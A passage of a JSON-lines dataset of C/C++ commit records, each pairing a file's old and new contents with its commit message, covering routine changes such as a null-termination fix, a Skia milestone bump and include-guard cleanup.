\\\n  { printf (\"----  %s ...\\n\", (str)); }\n\n#define WARN(str) \\\n  { printf (\"%s:%d: warning: %s\\n\", __FILE__, __LINE__, (str)); }\n\n#define FAIL(str) \\\n  { printf (\"%s:%d: %s\\n\", __FILE__, __LINE__, (str)); exit(1); }\n","subject":"Apply HAVE_CONFIG_H condition in src\/tests\/uiomux_test.h","message":"Apply HAVE_CONFIG_H condition in src\/tests\/uiomux_test.h\n\nconfig.h should be included only if HAVE_CONFIG_H defined\nwhen autoconf used.\n","lang":"C","license":"lgpl-2.1","repos":"kfish\/libuiomux,kfish\/libuiomux"}
{"commit":"c55016bbab62ac77c8314cc79ece5aca87483e9f","old_file":"ch1\/ex3\/farh_to_celsius_v2.c","new_file":"ch1\/ex3\/farh_to_celsius_v2.c","old_contents":"#include <stdio.h>\n\n\nfloat K_5_BY_9 = 5.0 \/ 9.0;\nfloat K_32 = 32;\n\nint SUCCESS = 0;\n\n\nint main(void)\n{\n    float fahrenheit, celsius;\n    int lower, upper, step;\n\n    lower = 0;\n    upper = 300;\n    step = 20;\n    \n    printf(\"|-----------|\\n\");\n    printf(\"|%4s|%6s|\\n\", \"F\", \"C\");\n    printf(\"|-----------|\\n\");\n\n    fahrenheit = lower;\n    while (fahrenheit <= upper) {\n        celsius = K_5_BY_9 * (fahrenheit - K_32);\n        printf(\"|%4.0f|%6.1f|\\n\", fahrenheit, celsius);\n        fahrenheit = fahrenheit + step;\n    }\n\n    printf(\"|-----------|\\n\");\n    \n    return SUCCESS;\n}\n","new_contents":"#include <stdio.h>\n\n\nfloat K_5_BY_9 = 5.0 \/ 9.0;\nfloat K_32 = 32.0;\n\nint SUCCESS = 0;\n\n\nint main(void)\n{\n    float fahrenheit, celsius;\n    int lower, upper, step;\n\n    lower = 0;\n    upper = 300;\n    step = 20;\n    \n    printf(\"|-----------|\\n\");\n    printf(\"|%4s|%6s|\\n\", \"F\", \"C\");\n    printf(\"|-----------|\\n\");\n\n    fahrenheit = lower;\n    while (fahrenheit <= upper) {\n        celsius = K_5_BY_9 * (fahrenheit - K_32);\n        printf(\"|%4.0f|%6.1f|\\n\", fahrenheit, celsius);\n        fahrenheit = fahrenheit + step;\n    }\n\n    printf(\"|-----------|\\n\");\n    \n    return SUCCESS;\n}\n","subject":"Change K_32 const value to more readable (with floating point)","message":"Change K_32 const value to more readable (with floating point)\n","lang":"C","license":"bsd-3-clause","repos":"rmk135\/the-c-programming-language"}
{"commit":"8e5e8a7b8355cf0132b16dbaf3387845da13475c","old_file":"rt\/cgen\/cowgol-cgen.c","new_file":"rt\/cgen\/cowgol-cgen.c","old_contents":"#include \"cowgol-cgen.h\"\n\nstatic i8 ram[0x10000 \/ 8];\n\ni8* __top = (i8*) ram;\ni8* __himem = (i8*) ((i1*)ram + sizeof(ram));\ni8* global_argv;\n\nextern void cmain(void);\nint main(int argc, const char* argv[])\n{\n\t\/* Remember that Cowgol is built for 64-bit systems, so we need\n\t * to copy the argv array as we could be running on a 32-bit system. *\/\n\n\tglobal_argv = calloc(argc+1, 8);\n\tfor (int i=0; i<argc; i++)\n\t\tglobal_argv[i] = (i8)(intptr_t)argv[i];\n\n    cmain();\n    return 0;\n}\n","new_contents":"#include \"cowgol-cgen.h\"\n\n\/* Really we should only have 64kB of RAM, but cgen intptr is 8 bytes which\n * quickly gobbles through it (cowlink can't load the entire compiler at\n * once). So, use 128kB. *\/\nstatic i8 ram[0x20000 \/ 8];\n\ni8* __top = (i8*) ram;\ni8* __himem = (i8*) ((i1*)ram + sizeof(ram));\ni8* global_argv;\n\nextern void cmain(void);\nint main(int argc, const char* argv[])\n{\n\t\/* Remember that Cowgol is built for 64-bit systems, so we need\n\t * to copy the argv array as we could be running on a 32-bit system. *\/\n\n\tglobal_argv = calloc(argc+1, 8);\n\tfor (int i=0; i<argc; i++)\n\t\tglobal_argv[i] = (i8)(intptr_t)argv[i];\n\n    cmain();\n    return 0;\n}\n","subject":"Increase the amount of memory available to cgen --- those 8-byte pointers really add up.","message":"Increase the amount of memory available to cgen --- those 8-byte pointers\nreally add up.\n","lang":"C","license":"bsd-2-clause","repos":"davidgiven\/cowgol,davidgiven\/cowgol"}
{"commit":"71e936386443d7e71382dc6d0b9cfeccf47a89ea","old_file":"base\/sha1.h","new_file":"base\/sha1.h","old_contents":"\/\/ LAF Base Library\n\/\/ Copyright (c) 2001-2016 David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef BASE_SHA1_H_INCLUDED\n#define BASE_SHA1_H_INCLUDED\n#pragma once\n\n#include <vector>\n#include <string>\n\nextern \"C\" struct SHA1Context;\n\nnamespace base {\n\n  class Sha1 {\n  public:\n    enum { HashSize = 20 };\n\n    Sha1();\n    explicit Sha1(const std::vector<uint8_t>& digest);\n\n    \/\/ Calculates the SHA1 of the given file or string.\n    static Sha1 calculateFromFile(const std::string& fileName);\n    static Sha1 calculateFromString(const std::string& text);\n\n    bool operator==(const Sha1& other) const;\n    bool operator!=(const Sha1& other) const;\n\n    uint8_t operator[](int index) const {\n      return m_digest[index];\n    }\n\n  private:\n    std::vector<uint8_t> m_digest;\n  };\n\n} \/\/ namespace base\n\n#endif  \/\/ BASE_SHA1_H_INCLUDED\n","new_contents":"\/\/ LAF Base Library\n\/\/ Copyright (c) 2001-2016 David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef BASE_SHA1_H_INCLUDED\n#define BASE_SHA1_H_INCLUDED\n#pragma once\n\n#include <vector>\n#include <string>\n\nextern \"C\" struct SHA1Context;\n\nnamespace base {\n\n  class Sha1 {\n  public:\n    enum { HashSize = 20 };\n\n    Sha1();\n    explicit Sha1(const std::vector<uint8_t>& digest);\n\n    \/\/ Calculates the SHA1 of the given file or string.\n    static Sha1 calculateFromFile(const std::string& fileName);\n    static Sha1 calculateFromString(const std::string& text);\n\n    bool operator==(const Sha1& other) const;\n    bool operator!=(const Sha1& other) const;\n\n    uint8_t operator[](int index) const {\n      return m_digest[index];\n    }\n\n    const uint8_t *digest() const {\n      return m_digest.data();\n    }\n\n    size_t size() const {\n      return m_digest.size();\n    }\n\n  private:\n    std::vector<uint8_t> m_digest;\n  };\n\n} \/\/ namespace base\n\n#endif  \/\/ BASE_SHA1_H_INCLUDED\n","subject":"Add Sha1 class methods digest() and size()","message":"Add Sha1 class methods digest() and size()\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"486fb2162080c695511c1708946b737524b5e8f2","old_file":"qocoa_mac.h","new_file":"qocoa_mac.h","old_contents":"\/*\nCopyright (C) 2011 by Mike McQuaid\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include <Foundation\/NSString.h>\n#include <QString>\n\nstatic NSString* fromQString(const QString &string)\n{\n    char* cString = string.toUtf8().data();\n    return [[NSString alloc] initWithUTF8String:cString];\n}\n\nstatic QString toQString(NSString *string)\n{\n    if (!string)\n        return QString();\n    return QString::fromUtf8([string UTF8String]);\n}\n","new_contents":"\/*\nCopyright (C) 2011 by Mike McQuaid\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include <Foundation\/NSString.h>\n#include <QString>\n\nstatic inline NSString* fromQString(const QString &string)\n{\n    char* cString = string.toUtf8().data();\n    return [[NSString alloc] initWithUTF8String:cString];\n}\n\nstatic inline QString toQString(NSString *string)\n{\n    if (!string)\n        return QString();\n    return QString::fromUtf8([string UTF8String]);\n}\n","subject":"Make shared functions inline to avoid warnings.","message":"Make shared functions inline to avoid warnings.\n","lang":"C","license":"mit","repos":"ArnaudBienner\/Qocoa,mikemcquaid\/Qocoa"}
{"commit":"59c2b1f63b7c5756ff95538ef2277fd9262ee8a4","old_file":"security\/nss\/macbuild\/NSSCommon.h","new_file":"security\/nss\/macbuild\/NSSCommon.h","old_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n#define MP_API_COMPATIBLE 1\n\n","new_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n#define MP_API_COMPATIBLE 1\n#define NSS_3_4_CODE 1 \/* Remove this when we start building NSS 4.0 by default *\/","subject":"Define NSS_3_4 so that we get the right code and not Stan code that isn't quite ready.","message":"Define NSS_3_4 so that we get the right code and not Stan code that isn't quite ready.\n","lang":"C","license":"mpl-2.0","repos":"nmav\/nss,nmav\/nss,ekr\/nss-old,ekr\/nss-old,ekr\/nss-old,nmav\/nss,ekr\/nss-old,nmav\/nss,ekr\/nss-old,nmav\/nss,ekr\/nss-old,ekr\/nss-old,nmav\/nss,nmav\/nss"}
{"commit":"23f9a8486cea1af4de8fca84fe5393114c9272a8","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 51\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 52\n#endif\n","subject":"Update Skia milestone to 52","message":"Update Skia milestone to 52\n\nBUG=skia:\nGOLD_TRYBOT_URL= https:\/\/gold.skia.org\/search2?unt=true&query=source_type%3Dgm&master=false&issue=1868893003\n\nTBR=reed@google.com\n\nReview URL: https:\/\/codereview.chromium.org\/1868893003\n","lang":"C","license":"apache-2.0","repos":"qrealka\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,google\/skia,google\/skia,google\/skia,tmpvar\/skia.cc,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,rubenvb\/skia,google\/skia,qrealka\/skia-hc,qrealka\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,tmpvar\/skia.cc,qrealka\/skia-hc,tmpvar\/skia.cc,Hikari-no-Tenshi\/android_external_skia,tmpvar\/skia.cc,google\/skia,rubenvb\/skia,rubenvb\/skia,tmpvar\/skia.cc,HalCanary\/skia-hc,tmpvar\/skia.cc,rubenvb\/skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,tmpvar\/skia.cc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,HalCanary\/skia-hc,qrealka\/skia-hc,rubenvb\/skia"}
{"commit":"bf9fcbf6fa42d204f3f6657f493061801546dc0a","old_file":"misc\/misc.h","new_file":"misc\/misc.h","old_contents":"#ifndef MISC__H__\n#define MISC__H__\n\n#include <sysdeps.h>\nextern void random_init(uint32 seed);\nextern uint32 random_int(void);\n#define random_float() (random_int() * (double)(1.0\/4294967296.0))\n#define random_scale(S) ((unsigned int)(random_float() * (S)))\n\nunsigned long strtou(const char* str, const char** end);\nconst char* utoa(unsigned long);\nchar* utoa2(unsigned long, char*);\n\n#endif\n","new_contents":"#ifndef MISC__H__\n#define MISC__H__\n\n#include <sysdeps.h>\nextern void random_init(uint32 seed);\nextern uint32 random_int(void);\n#define random_float() (random_int() * (double)(1.0\/4294967296.0))\n#define random_scale(S) ((unsigned int)(random_float() * (S)))\n#define random_trunc(T) (random_int() % (T))\n\nunsigned long strtou(const char* str, const char** end);\nconst char* utoa(unsigned long);\nchar* utoa2(unsigned long, char*);\n\n#endif\n","subject":"Add random_trunc function, which truncates (with integer modulus) instead of scaling (with floating point divide and multiply) the base random number.","message":"Add random_trunc function, which truncates (with integer modulus)\ninstead of scaling (with floating point divide and multiply) the base\nrandom number.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"7b5b5d10206d8d492ca5823639a2828d43d85536","old_file":"src\/lib\/dom\/Egueb_Dom_Private.h","new_file":"src\/lib\/dom\/Egueb_Dom_Private.h","old_contents":"","new_contents":"\/* Egueb_Dom - DOM\n * Copyright (C) 2011 - 2013 Jorge Luis Zapata\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.\n * If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef _EGUEB_DOM_PRIVATE_H\n#define _EGUEB_DOM_PRIVATE_H\n\n\/* This file is subject of ABI\/API change, use at your own risk\n * It is needed in case a lib wants to inherit from the different\n * DOM interfaces\n *\/\n\n#include \"private\/egueb_dom_node_private.h\" \n#include \"private\/egueb_dom_element_private.h\" \n#include \"private\/egueb_dom_document_private.h\" \n\n#endif\n","subject":"Add a private header for user-provided dom libs","message":"Add a private header for user-provided dom libs\n","lang":"C","license":"lgpl-2.1","repos":"turran\/egueb,turran\/egueb,turran\/egueb"}
{"commit":"9abb92a67240364f96c7e0408f2231600d6dd20d","old_file":"enhanced\/drlvm\/trunk\/vm\/port\/src\/misc\/linux\/sysencoding.c","new_file":"enhanced\/drlvm\/trunk\/vm\/port\/src\/misc\/linux\/sysencoding.c","old_contents":"\/*\n *  Licensed to the Apache Software Foundation (ASF) under one or more\n *  contributor license agreements.  See the NOTICE file distributed with\n *  this work for additional information regarding copyright ownership.\n *  The ASF licenses this file to You under the Apache License, Version 2.0\n *  (the \"License\"); you may not use this file except in compliance with\n *  the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#include \"port_sysencoding.h\"\n#include <string.h>\n\nint port_get_utf8_converted_system_message_length(char *system_message)\n{\n    return strlen(system_message) + 1;\n}\n\nvoid port_convert_system_error_message_to_utf8(char *converted_message,\n    int buffer_size,\n    char *system_message)\n{\n    strncpy(converted_message, system_message, buffer_size - 1);\n}\n","new_contents":"\/*\n *  Licensed to the Apache Software Foundation (ASF) under one or more\n *  contributor license agreements.  See the NOTICE file distributed with\n *  this work for additional information regarding copyright ownership.\n *  The ASF licenses this file to You under the Apache License, Version 2.0\n *  (the \"License\"); you may not use this file except in compliance with\n *  the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#include \"port_sysencoding.h\"\n#include <string.h>\n\nint port_get_utf8_converted_system_message_length(char *system_message)\n{\n    return strlen(system_message) + 1;\n}\n\nvoid port_convert_system_error_message_to_utf8(char *converted_message,\n    int buffer_size,\n    char *system_message)\n{\n    strncpy(converted_message, system_message, buffer_size - 1);\n    converted_message[buffer_size - 1] = '\\0';\n}\n","subject":"Make sure that the copy of the string is always null terminated","message":"Make sure that the copy of the string is always null terminated\n\n\nsvn path=\/harmony\/; revision=601274\n","lang":"C","license":"apache-2.0","repos":"freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM"}
{"commit":"5a2ed7d4ffe3a0d471c8865fe0a89044d0269891","old_file":"DicomCli\/readquery.h","new_file":"DicomCli\/readquery.h","old_contents":"\/*=========================================================================\n\n  Program: DICOM for VTK\n\n  Copyright (c) 2012-2015 David Gobbi\n  All rights reserved.\n  See Copyright.txt or http:\/\/dgobbi.github.io\/bsd3.txt for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#ifndef __readquery_h\n#define __readquery_h\n\n#include \"vtkDICOMItem.h\"\n#include \"vtkDICOMTagPath.h\"\n\n#include <vector>\n\ntypedef std::vector<vtkDICOMTagPath> QueryTagList;\n\n\/\/! Read a query file, return 'true' on success.\n\/*!\n *  The query file is read into the supplied vtkDICOMItem as a set of\n *  attribute values.  If the ordering within the file is important,\n *  then a QueryTagList can also be provided.  The tags will be pushed\n *  onto the QueryTagList in the same order as they are encountered in\n *  the file.\n *\/\nbool dicomcli_readquery(\n  const char *fname, vtkDICOMItem *query, QueryTagList *ql=0);\n\n\/\/! Read a single query key, return 'true' on success.\nbool dicomcli_readkey(\n  const char *key, vtkDICOMItem *query, QueryTagList *ql=0);\n\n#endif \/* __readquery_h *\/\n","new_contents":"\/*=========================================================================\n\n  Program: DICOM for VTK\n\n  Copyright (c) 2012-2015 David Gobbi\n  All rights reserved.\n  See Copyright.txt or http:\/\/dgobbi.github.io\/bsd3.txt for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#ifndef readquery_h\n#define readquery_h\n\n#include \"vtkDICOMItem.h\"\n#include \"vtkDICOMTagPath.h\"\n\n#include <vector>\n\ntypedef std::vector<vtkDICOMTagPath> QueryTagList;\n\n\/\/! Read a query file, return 'true' on success.\n\/*!\n *  The query file is read into the supplied vtkDICOMItem as a set of\n *  attribute values.  If the ordering within the file is important,\n *  then a QueryTagList can also be provided.  The tags will be pushed\n *  onto the QueryTagList in the same order as they are encountered in\n *  the file.\n *\/\nbool dicomcli_readquery(\n  const char *fname, vtkDICOMItem *query, QueryTagList *ql=0);\n\n\/\/! Read a single query key, return 'true' on success.\nbool dicomcli_readkey(\n  const char *key, vtkDICOMItem *query, QueryTagList *ql=0);\n\n#endif \/* readquery_h *\/\n","subject":"Remove double underscore from include guard.","message":"Remove double underscore from include guard.\n","lang":"C","license":"bsd-3-clause","repos":"hendradarwin\/vtk-dicom,hendradarwin\/vtk-dicom,hendradarwin\/vtk-dicom,dgobbi\/vtk-dicom,dgobbi\/vtk-dicom,dgobbi\/vtk-dicom"}
{"commit":"9e522dbd0bb17233bcb504c2d06c0889d0de33d9","old_file":"samplecode\/GMSampleView.h","new_file":"samplecode\/GMSampleView.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM \");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM:\");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","subject":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.","message":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@2846 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"mrobinson\/skia,mrobinson\/skia,metajack\/skia,Cue\/skia,mrobinson\/skia,Cue\/skia,metajack\/skia,metajack\/skia,Cue\/skia,metajack\/skia,mrobinson\/skia,mrobinson\/skia,Cue\/skia"}
{"commit":"12bcbfff311bb2a17f545b3bd7f259f150604096","old_file":"test2\/structs\/function_passing\/stret_large.c","new_file":"test2\/structs\/function_passing\/stret_large.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 0 %s\n\nstruct A\n{\n\tint x, y, z;\n\tint e, f;\n};\n\nvoid clobber_args()\n{\n}\n\nstruct A f(void)\n{\n\tclobber_args(0, 1, 2); \/\/ clobber the stret pointer\n\treturn (struct A){ 1, 2, 3, 4, 5};\n}\n\nint main()\n{\n\tstruct A a;\n\n\ta = f();\n\n\tif(a.x != 1\n\t|| a.y != 2\n\t|| a.z != 3\n\t|| a.e != 4\n\t|| a.f != 5)\n\t{\n\t\tabort();\n\t}\n\n\treturn 0;\n}\n","subject":"Test for struct return-by-value, both caller and callee","message":"Test for struct return-by-value, both caller and callee\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"f762c741121a89c387071563b167e8f580bedb8f","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"\/*****************************************************************************\/\n\/*                                                                           *\/\n\/* Logswan 2.0.2                                                             *\/\n\/* Copyright (c) 2015-2018, Frederic Cambus                                  *\/\n\/* https:\/\/www.logswan.org                                                   *\/\n\/*                                                                           *\/\n\/* Created:      2015-05-31                                                  *\/\n\/* Last Updated: 2018-08-05                                                  *\/\n\/*                                                                           *\/\n\/* Logswan is released under the BSD 2-Clause license.                       *\/\n\/* See LICENSE file for details.                                             *\/\n\/*                                                                           *\/\n\/*****************************************************************************\/\n\n#ifndef CONFIG_H\n#define CONFIG_H\n\n#define VERSION \"Logswan 2.0.2\"\n\nenum {\n\tHLL_BITS = 20,\n\tLINE_LENGTH_MAX = 65536,\n\tSTATUS_CODE_MAX = 512,\n\n\tCONTINENTS = 7,\n\tCOUNTRIES = 251,\n\tMETHODS = 9,\n\tPROTOCOLS = 2\n};\n\nextern char *continentsId[];\nextern char *continentsNames[];\nextern char *countriesId[];\nextern char *countriesNames[];\nextern char *methodsNames[];\nextern char *protocolsNames[];\n\n#endif \/* CONFIG_H *\/\n","new_contents":"\/*****************************************************************************\/\n\/*                                                                           *\/\n\/* Logswan 2.0.2                                                             *\/\n\/* Copyright (c) 2015-2018, Frederic Cambus                                  *\/\n\/* https:\/\/www.logswan.org                                                   *\/\n\/*                                                                           *\/\n\/* Created:      2015-05-31                                                  *\/\n\/* Last Updated: 2018-08-05                                                  *\/\n\/*                                                                           *\/\n\/* Logswan is released under the BSD 2-Clause license.                       *\/\n\/* See LICENSE file for details.                                             *\/\n\/*                                                                           *\/\n\/*****************************************************************************\/\n\n#ifndef CONFIG_H\n#define CONFIG_H\n\n#define VERSION \"Logswan 2.0.2\"\n\nenum {\n\tHLL_BITS = 20,\n\tLINE_LENGTH_MAX = 65536,\n\tSTATUS_CODE_MAX = 512,\n\n\tCONTINENTS = 7,\n\tCOUNTRIES = 251,\n\tMETHODS = 9,\n\tPROTOCOLS = 3\n};\n\nextern char *continentsId[];\nextern char *continentsNames[];\nextern char *countriesId[];\nextern char *countriesNames[];\nextern char *methodsNames[];\nextern char *protocolsNames[];\n\n#endif \/* CONFIG_H *\/\n","subject":"Enable support for parsing HTTP\/2.0 requests, for real this time","message":"Enable support for parsing HTTP\/2.0 requests, for real this time\n","lang":"C","license":"bsd-2-clause","repos":"fcambus\/logswan,fcambus\/logswan"}
{"commit":"4beb18c788dfa988297e6604a51b572692f938da","old_file":"sledge\/model\/llair_intrinsics.h","new_file":"sledge\/model\/llair_intrinsics.h","old_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <stdbool.h>\n#include <stdlib.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* allocation that cannot fail *\/\nvoid* __llair_alloc(unsigned size);\n\n\/* non-deterministic choice *\/\nint __llair_choice();\n\n\/* executions that call __llair_unreachable are assumed to be impossible *\/\n__attribute__((noreturn)) void __llair_unreachable();\n\n\/* assume a condition *\/\n#define __llair_assume(condition) \\\n  if (!(condition))               \\\n  __llair_unreachable()\n\n\/* throw an exception *\/\n__attribute__((noreturn)) void __llair_throw(void* thrown_exception);\n\n\/* glibc version *\/\n#define __assert_fail(assertion, file, line, function) abort()\n\n\/* macos version *\/\n#define __assert_rtn(function, file, line, assertion) abort()\n\n\/*\n * threads\n *\/\n\ntypedef int thread_t;\n\ntypedef int (*thread_create_routine)(void*);\n\nthread_t sledge_thread_create(thread_create_routine entry, void* arg);\n\nvoid sledge_thread_resume(thread_t thread);\n\nint sledge_thread_join(thread_t thread);\n\n\/*\n * cct\n *\/\n\nvoid cct_point(void);\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <stdbool.h>\n#include <stdlib.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* allocation that cannot fail *\/\nvoid* __llair_alloc(long size);\n\n\/* non-deterministic choice *\/\nlong __llair_choice();\n\n\/* executions that call __llair_unreachable are assumed to be impossible *\/\n__attribute__((noreturn)) void __llair_unreachable();\n\n\/* assume a condition *\/\n#define __llair_assume(condition) \\\n  if (!(condition))               \\\n  __llair_unreachable()\n\n\/* throw an exception *\/\n__attribute__((noreturn)) void __llair_throw(void* thrown_exception);\n\n\/* glibc version *\/\n#define __assert_fail(assertion, file, line, function) abort()\n\n\/* 